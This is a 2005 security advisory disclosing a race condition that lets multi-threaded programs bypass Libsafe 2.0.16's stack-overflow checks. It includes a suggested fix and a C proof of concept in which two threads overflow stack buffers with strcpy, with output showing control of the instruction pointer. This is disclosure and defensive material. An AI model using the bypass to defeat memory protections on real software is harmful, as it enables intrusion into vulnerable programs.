Overflow.pl Security Advisory #2 Libsafe - Safety Check Bypass Vulnerability URL: http://www.overflow.pl/adv/libsafebypass.txt Date: 04.05.2005 1. Background Libsafe is a library that protect critical elements of stacks http://www.research.avayalabs.com/project/libsafe/ 2. Description Attacker can bypass libsafe checking and exploit vulnerability witch is in multi-threaded aplication. As a example look at the code situated at the safe function strcpy(): char *strcpy(char *dest, const char *src) { ... if (!real_strcpy) real_strcpy = (strcpy_t) getLibraryFunction("strcpy"); ... if ((max_size = _libsafe_stackVariableP(dest)) == 0) { LOG(5, "strcpy( , )\n"); return real_strcpy(dest, src); } ... if ((len = strnlen(src, max_size)) == max_size) _libsafe_die("Overflow caused by strcpy()"); ... Function _libsafe_stackVariableP() checked length beetwen buffor and stack frame. It should return 0 only in case when address does not point to a stack variable. Look at the function code: uint _libsafe_stackVariableP(void *addr) { ... /* * If _libsafe_die() has been called, then we don't need to do anymore * libsafe checking. */ if (dying) return 0; ... Function _libsafe_die() is called then attack is detected, variable "dying" is set and at least aplication is killed. In case of multi-threaded programs, it is possible to make attack before the end of _libsafe_die(), during the time while checking is not active. 3. Detection Current libsafe version (2.0.16) is vulnerable. 4. FIX Probably the code from function _libsafe_stackVariableP can be only deleted: if (dying) return 0; 5. PoC #include #include int ok = 0; void *func1(void *none) { char buf[8]; while(1) { if(!ok) continue; strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); break; } puts("func1 overflow!"); } void *func2(void *none) { char buf[8]; ok = 1; strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); puts("func2 overflow!!"); } int main() { pthread_t t1, t2; pthread_create(&t1, NULL, &func1, NULL); pthread_create(&t2, NULL, &func2, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; } bash-2.05b$ gcc -o thread thread.c -pthread Normal state is: bash-2.05b$ ./thread Libsafe version 2.0.16 Detected an attempt to write across stack boundary. Terminating /home/thread. uid=500 euid=500 pid=9235 Call stack: 0x40019b1c /lib/libsafe.so.2.0.16 0x40019c4b /lib/libsafe.so.2.0.16 0x80484f5 /home/thread 0x4002dc43 /lib/tls/libpthread-2.3.3.so Overflow caused by strcpy() Killed But then we run program many times: bash-2.05b$ ./thread Libsafe version 2.0.16 Detected an attempt to write across stack boundary. Terminating /home/thread. uid=500 euid=500 pid=9217 func1 overflow! Call stack: 0x40019b1c /lib/libsafe.so.2.0.16 0x40019c4b /lib/libsafe.so.2.0.16 0x80484f5 /home/thread 0x4002dc43 /lib/tls/libpthread-2.3.3.so Overflow caused by strcpy() Segmentation fault (core dumped) or ... bash-2.05b$ ./thread func1 overflow! Segmentation fault (core dumped) Core: bash-2.05b$ gdb thread core.9254 ... #0 0x41414141 in ?? () (gdb)